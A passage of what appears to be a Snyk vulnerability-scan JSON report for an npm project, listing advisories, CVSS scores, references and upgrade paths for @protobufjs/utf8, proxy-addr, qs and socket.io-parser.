"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-05-14T06:49:43.164044Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:18:33.081708Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"socket.io-server-v2@0.0.0",
"@apollo/server@5.5.0",
"@apollo/server-gateway-interface@2.0.0",
"@apollo/usage-reporting-protobuf@4.1.1",
"@apollo/protobufjs@1.2.7",
"@protobufjs/utf8@1.1.0"
],
"upgradePath": [
false,
"@apollo/server@5.5.0",
"@apollo/server-gateway-interface@2.0.0",
"@apollo/usage-reporting-protobuf@4.1.2",
"@apollo/protobufjs@1.2.8",
"@protobufjs/utf8@1.1.2"
],
"isUpgradable": true,
"isPatchable": false,
"name": "@protobufjs/utf8",
"version": "1.1.0"
},
{
"id": "SNYK-JS-PROTOBUFJSUTF8-16643422",
"title": "Arbitrary Code Injection",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"credit": [
"Michael Baraniak"
],
"semver": {
"vulnerable": [
"<1.1.1"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "@protobufjs/utf8",
"references": [
{
"url": "https://github.com/protobufjs/protobuf.js/security/advisories/GHSA-66ff-xgx4-vchm",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/protobufjs/protobuf.js/commit/6eb3a3b90db02d3e8447ea57fcc835459bff2e51",
"title": "GitHub Commit"
},
{
"url": "https://github.com/protobufjs/protobuf.js/commit/75392ea1b78bdc4faba027b5db44ad7c50e9c454",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 8.8,
"modificationTime": "2026-05-14T01:15:06.768648Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:H",
"cvssV3BaseScore": 7.1,
"modificationTime": "2026-06-12T05:30:59.573421Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:18:33.081708Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:18:33.081708Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 8.8,
"cvssVersion": "3.1",
"modificationTime": "2026-05-14T01:15:06.768648Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.1,
"cvssVersion": "3.1",
"modificationTime": "2026-06-12T05:30:59.573421Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Arbitrary Code Injection in the `toObject` function when handling a schema-controlled `bytes` field default value. An attacker can execute arbitrary JavaScript code by providing a crafted descriptor with a malicious default value for a `bytes` field, which is then used in the generated conversion function.\n## Remediation\nUpgrade `@protobufjs/utf8` to version 1.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/protobufjs/protobuf.js/security/advisories/GHSA-66ff-xgx4-vchm)\n- [GitHub Commit](https://github.com/protobufjs/protobuf.js/commit/6eb3a3b90db02d3e8447ea57fcc835459bff2e51)\n- [GitHub Commit](https://github.com/protobufjs/protobuf.js/commit/75392ea1b78bdc4faba027b5db44ad7c50e9c454)\n",
"epssDetails": {
"percentile": "0.52334",
"probability": "0.00733",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-44293"
],
"CWE": [
"CWE-94"
],
"GHSA": [
"GHSA-66ff-xgx4-vchm"
]
},
"packageName": "@protobufjs/utf8",
"proprietary": false,
"creationTime": "2026-05-13T12:54:01.976809Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-05-12T15:06:13Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-05-14T06:49:43.164044Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:18:33.081708Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"socket.io-server-v2@0.0.0",
"@apollo/server@5.5.0",
"@apollo/utils.usagereporting@2.1.0",
"@apollo/usage-reporting-protobuf@4.1.1",
"@apollo/protobufjs@1.2.7",
"@protobufjs/utf8@1.1.0"
],
"upgradePath": [
false,
"@apollo/server@5.5.0",
"@apollo/utils.usagereporting@2.1.0",
"@apollo/usage-reporting-protobuf@4.1.2",
"@apollo/protobufjs@1.2.8",
"@protobufjs/utf8@1.1.2"
],
"isUpgradable": true,
"isPatchable": false,
"name": "@protobufjs/utf8",
"version": "1.1.0"
},
{
"id": "SNYK-JS-PROXYADDR-19812342",
"title": "User Impersonation",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"credit": [
"kagebunsher"
],
"semver": {
"vulnerable": [
">=1.1.0 <2.0.8"
]
},
"exploit": "Not Defined",
"fixedIn": [
"2.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "critical",
"cvssScore": 9.3,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "proxy-addr",
"references": [
{
"url": "https://github.com/jshttp/proxy-addr/security/advisories/GHSA-jqcg-44mw-7w3h",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/jshttp/proxy-addr/commit/780911d84d18e2c5fa008ed0c0d387631ec11965",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-10-08T05:38:39.078594Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "critical",
"baseScore": 9.3,
"cvssVersion": "4.0",
"modificationTime": "2026-10-08T05:38:39.278167Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"assigner": "Snyk",
"severity": "critical",
"baseScore": 9.1,
"cvssVersion": "3.1",
"modificationTime": "2026-10-08T05:38:39.278167Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-08T05:38:39.078594Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to User Impersonation in its subnet matching logic, where an IPv4-mapped IPv6 trust entry with a short prefix such as `::ffff:10.0.0.0/8` compiles with all-zero leading bits and matches every address rather than the intended block. An attacker can control the value returned by `proxyaddr(req, trust)`, and therefore `req.ip` and `req.ips` in Express, by sending an arbitrary `X-Forwarded-For` header, since every client is then trusted as a proxy at hop 0, which defeats IP-based access control, rate limiting, geolocation, and audit logging. This requires the application to configure its trust list with an IPv4-mapped IPv6 subnet using a short prefix, or any IPv6 subnet with zero leading bits such as `::/1`, and the misconfiguration compiles without error.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by expressing trust subnets in plain IPv4 notation, such as `10.0.0.0/8`, or where IPv4-mapped IPv6 notation is required, by using a prefix long enough to cover the mapped marker, such as `::ffff:10.0.0.0/104`.\n## Remediation\nUpgrade `proxy-addr` to version 2.0.8 or higher.\n## References\n- [GitHub Advisory](https://github.com/jshttp/proxy-addr/security/advisories/GHSA-jqcg-44mw-7w3h)\n- [GitHub Commit](https://github.com/jshttp/proxy-addr/commit/780911d84d18e2c5fa008ed0c0d387631ec11965)\n",
"epssDetails": {
"percentile": "0.23628",
"probability": "0.00332",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-90711"
],
"CWE": [
"CWE-290"
],
"GHSA": [
"GHSA-jqcg-44mw-7w3h"
]
},
"packageName": "proxy-addr",
"proprietary": false,
"creationTime": "2026-09-15T08:22:56.328403Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-15T07:14:51Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-15T08:22:56.519310Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-08T05:38:39.278167Z",
"socialTrendAlert": false,
"severityWithCritical": "critical",
"from": [
"socket.io-server-v2@0.0.0",
"express@5.2.1",
"proxy-addr@2.0.7"
],
"upgradePath": [
false,
"express@5.2.1",
"proxy-addr@2.0.8"
],
"isUpgradable": true,
"isPatchable": false,
"name": "proxy-addr",
"version": "2.0.7"
},
{
"id": "SNYK-JS-QS-20943482",
"title": "Uncaught Exception",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"manus-pi",
"Lucidsec"
],
"semver": {
"vulnerable": [
">=6.7.0 <6.16.1"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.16.1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "qs",
"references": [
{
"url": "https://github.com/ljharb/qs/security/advisories/GHSA-6pq8-jhm2-2vcw",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/ljharb/qs/commit/a952e7519338ef0cfb25694a2988848f93333727",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"cvssV3BaseScore": 5.3,
"modificationTime": "2026-10-15T06:14:57.073890Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-15T14:05:41.188403Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-15T14:05:41.188403Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.3,
"cvssVersion": "3.1",
"modificationTime": "2026-10-15T06:14:57.073890Z"
}
],
"description": "## Overview\n[qs](https://www.npmjs.com/package/qs) is a querystring parser that supports nesting and arrays, with a depth limit.\n\nAffected versions of this package are vulnerable to Uncaught Exception via `stringify` when `arrayFormat: 'comma'` is used with array elements that have a non-callable `toString` property. Such elements - as produced by `JSON.parse`, or by `qs.parse` under `allowPrototypes` or `plainObjects` (which yields null-prototype objects) - cause `Array.prototype.join` or `utils.encode` to throw a `TypeError: Cannot convert object to primitive value`, crashing the process.\r\n\r\n**Note:** This is only exploitable if the `arrayFormat: 'comma'` option is explicitly set.\n## Remediation\nUpgrade `qs` to version 6.16.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/ljharb/qs/security/advisories/GHSA-6pq8-jhm2-2vcw)\n- [GitHub Commit](https://github.com/ljharb/qs/commit/a952e7519338ef0cfb25694a2988848f93333727)\n",
"epssDetails": {
"percentile": "0.21635",
"probability": "0.00304",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-110816"
],
"CWE": [
"CWE-248"
],
"GHSA": [
"GHSA-6pq8-jhm2-2vcw"
]
},
"packageName": "qs",
"proprietary": false,
"creationTime": "2026-10-15T06:11:06.044323Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-10-14T23:32:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-10-15T06:11:06.216040Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-15T14:05:41.188403Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"socket.io-server-v2@0.0.0",
"body-parser@1.20.4",
"qs@6.14.2"
],
"upgradePath": [
false,
"body-parser@1.20.8",
"qs@6.16.1"
],
"isUpgradable": true,
"isPatchable": false,
"name": "qs",
"version": "6.14.2"
},
{
"id": "SNYK-JS-QS-20943482",
"title": "Uncaught Exception",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"manus-pi",
"Lucidsec"
],
"semver": {
"vulnerable": [
">=6.7.0 <6.16.1"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.16.1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "qs",
"references": [
{
"url": "https://github.com/ljharb/qs/security/advisories/GHSA-6pq8-jhm2-2vcw",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/ljharb/qs/commit/a952e7519338ef0cfb25694a2988848f93333727",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"cvssV3BaseScore": 5.3,
"modificationTime": "2026-10-15T06:14:57.073890Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-15T14:05:41.188403Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-15T14:05:41.188403Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.3,
"cvssVersion": "3.1",
"modificationTime": "2026-10-15T06:14:57.073890Z"
}
],
"description": "## Overview\n[qs](https://www.npmjs.com/package/qs) is a querystring parser that supports nesting and arrays, with a depth limit.\n\nAffected versions of this package are vulnerable to Uncaught Exception via `stringify` when `arrayFormat: 'comma'` is used with array elements that have a non-callable `toString` property. Such elements - as produced by `JSON.parse`, or by `qs.parse` under `allowPrototypes` or `plainObjects` (which yields null-prototype objects) - cause `Array.prototype.join` or `utils.encode` to throw a `TypeError: Cannot convert object to primitive value`, crashing the process.\r\n\r\n**Note:** This is only exploitable if the `arrayFormat: 'comma'` option is explicitly set.\n## Remediation\nUpgrade `qs` to version 6.16.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/ljharb/qs/security/advisories/GHSA-6pq8-jhm2-2vcw)\n- [GitHub Commit](https://github.com/ljharb/qs/commit/a952e7519338ef0cfb25694a2988848f93333727)\n",
"epssDetails": {
"percentile": "0.21635",
"probability": "0.00304",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-110816"
],
"CWE": [
"CWE-248"
],
"GHSA": [
"GHSA-6pq8-jhm2-2vcw"
]
},
"packageName": "qs",
"proprietary": false,
"creationTime": "2026-10-15T06:11:06.044323Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-10-14T23:32:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-10-15T06:11:06.216040Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-15T14:05:41.188403Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"socket.io-server-v2@0.0.0",
"express@5.2.1",
"qs@6.14.2"
],
"upgradePath": [
false,
"express@5.2.1",
"qs@6.16.1"
],
"isUpgradable": true,
"isPatchable": false,
"name": "qs",
"version": "6.14.2"
},
{
"id": "SNYK-JS-QS-20943482",
"title": "Uncaught Exception",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"manus-pi",
"Lucidsec"
],
"semver": {
"vulnerable": [
">=6.7.0 <6.16.1"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.16.1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "qs",
"references": [
{
"url": "https://github.com/ljharb/qs/security/advisories/GHSA-6pq8-jhm2-2vcw",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/ljharb/qs/commit/a952e7519338ef0cfb25694a2988848f93333727",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"cvssV3BaseScore": 5.3,
"modificationTime": "2026-10-15T06:14:57.073890Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-15T14:05:41.188403Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-15T14:05:41.188403Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.3,
"cvssVersion": "3.1",
"modificationTime": "2026-10-15T06:14:57.073890Z"
}
],
"description": "## Overview\n[qs](https://www.npmjs.com/package/qs) is a querystring parser that supports nesting and arrays, with a depth limit.\n\nAffected versions of this package are vulnerable to Uncaught Exception via `stringify` when `arrayFormat: 'comma'` is used with array elements that have a non-callable `toString` property. Such elements - as produced by `JSON.parse`, or by `qs.parse` under `allowPrototypes` or `plainObjects` (which yields null-prototype objects) - cause `Array.prototype.join` or `utils.encode` to throw a `TypeError: Cannot convert object to primitive value`, crashing the process.\r\n\r\n**Note:** This is only exploitable if the `arrayFormat: 'comma'` option is explicitly set.\n## Remediation\nUpgrade `qs` to version 6.16.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/ljharb/qs/security/advisories/GHSA-6pq8-jhm2-2vcw)\n- [GitHub Commit](https://github.com/ljharb/qs/commit/a952e7519338ef0cfb25694a2988848f93333727)\n",
"epssDetails": {
"percentile": "0.21635",
"probability": "0.00304",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-110816"
],
"CWE": [
"CWE-248"
],
"GHSA": [
"GHSA-6pq8-jhm2-2vcw"
]
},
"packageName": "qs",
"proprietary": false,
"creationTime": "2026-10-15T06:11:06.044323Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-10-14T23:32:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-10-15T06:11:06.216040Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-15T14:05:41.188403Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"socket.io-server-v2@0.0.0",
"@apollo/server@5.5.0",
"body-parser@2.2.2",
"qs@6.14.2"
],
"upgradePath": [
false,
"@apollo/server@5.5.0",
"body-parser@2.3.0",
"qs@6.16.1"
],
"isUpgradable": true,
"isPatchable": false,
"name": "qs",
"version": "6.14.2"
},
{
"id": "SNYK-JS-QS-20943482",
"title": "Uncaught Exception",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"manus-pi",
"Lucidsec"
],
"semver": {
"vulnerable": [
">=6.7.0 <6.16.1"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.16.1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "qs",
"references": [
{
"url": "https://github.com/ljharb/qs/security/advisories/GHSA-6pq8-jhm2-2vcw",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/ljharb/qs/commit/a952e7519338ef0cfb25694a2988848f93333727",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"cvssV3BaseScore": 5.3,
"modificationTime": "2026-10-15T06:14:57.073890Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-15T14:05:41.188403Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-15T14:05:41.188403Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.3,
"cvssVersion": "3.1",
"modificationTime": "2026-10-15T06:14:57.073890Z"
}
],
"description": "## Overview\n[qs](https://www.npmjs.com/package/qs) is a querystring parser that supports nesting and arrays, with a depth limit.\n\nAffected versions of this package are vulnerable to Uncaught Exception via `stringify` when `arrayFormat: 'comma'` is used with array elements that have a non-callable `toString` property. Such elements - as produced by `JSON.parse`, or by `qs.parse` under `allowPrototypes` or `plainObjects` (which yields null-prototype objects) - cause `Array.prototype.join` or `utils.encode` to throw a `TypeError: Cannot convert object to primitive value`, crashing the process.\r\n\r\n**Note:** This is only exploitable if the `arrayFormat: 'comma'` option is explicitly set.\n## Remediation\nUpgrade `qs` to version 6.16.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/ljharb/qs/security/advisories/GHSA-6pq8-jhm2-2vcw)\n- [GitHub Commit](https://github.com/ljharb/qs/commit/a952e7519338ef0cfb25694a2988848f93333727)\n",
"epssDetails": {
"percentile": "0.21635",
"probability": "0.00304",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-110816"
],
"CWE": [
"CWE-248"
],
"GHSA": [
"GHSA-6pq8-jhm2-2vcw"
]
},
"packageName": "qs",
"proprietary": false,
"creationTime": "2026-10-15T06:11:06.044323Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-10-14T23:32:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-10-15T06:11:06.216040Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-15T14:05:41.188403Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"socket.io-server-v2@0.0.0",
"express@5.2.1",
"body-parser@2.2.2",
"qs@6.14.2"
],
"upgradePath": [
false,
"express@5.2.1",
"body-parser@2.3.0",
"qs@6.16.1"
],
"isUpgradable": true,
"isPatchable": false,
"name": "qs",
"version": "6.14.2"
},
{
"id": "SNYK-JS-SOCKETIOPARSER-18517008",
"title": "Improper Check for Unusual or Exceptional Conditions",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"aretekzs",
"mauriceng98",
"Wesley Wang",
"Strickland",
"七号公园"
],
"semver": {
"vulnerable": [
"<3.3.6",
">=3.4.0 <3.4.5",
">=4.0.0 <4.2.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"3.3.6",
"3.4.5",
"4.2.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "socket.io-parser",
"references": [
{
"url": "https://github.com/socketio/socket.io/security/advisories/GHSA-2m8v-j782-fhvr",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/socketio/socket.io/commit/7c6ef571a00656718e9e05e3b948fd1758b2a7b4",
"title": "GitHub Commit"
},
{
"url": "https://github.com/socketio/socket.io/commit/9c6323e5cde41bd75df3379b5fc9293664a5f240",
"title": "GitHub Commit"
},
{
"url": "https://github.com/socketio/socket.io/commit/ced94ffa3ac020a8f3c14eb98a3bf34acb14d291",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-07T05:47:51.938464Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:24:18.699464Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:24:18.699464Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-07T05:47:51.938464Z"
}
],
"description": "## Overview\n[socket.io-parser](https://www.npmjs.org/package/socket.io-parser) is a socket.io protocol parser\n\nAffected versions of this package are vulnerable to Improper Check for Unusual or Exceptional Conditions via attachment handling. An attacker can cause the server to exhaust memory resources by sending specially crafted packets that make the server wait for and buffer a large number of binary attachments.\n## Remediation\nUpgrade `socket.io-parser` to version 3.3.6, 3.4.5, 4.2.7 or higher.\n## References\n- [GitHub Advisory](https://github.com/socketio/socket.io/security/advisories/GHSA-2m8v-j782-fhvr)\n- [GitHub Commit](https://github.com/socketio/socket.io/commit/7c6ef571a00656718e9e05e3b948fd1758b2a7b4)\n- [GitHub Commit](https://github.com/socketio/socket.io/commit/9c6323e5cde41bd75df3379b5fc9293664a5f240)\n- [GitHub Commit](https://github.com/socketio/socket.io/commit/ced94ffa3ac020a8f3c14eb98a3bf34acb14d291)\n",
"epssDetails": {
"percentile": "0.47911",
"probability": "0.00630",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69185"
],
"CWE": [
"CWE-754"
],
"GHSA": [
"GHSA-2m8v-j782-fhvr"
]
},
"packageName": "socket.io-parser",
"proprietary": false,
"creationTime": "2026-08-04T14:52:18.456055Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T19:09:44Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
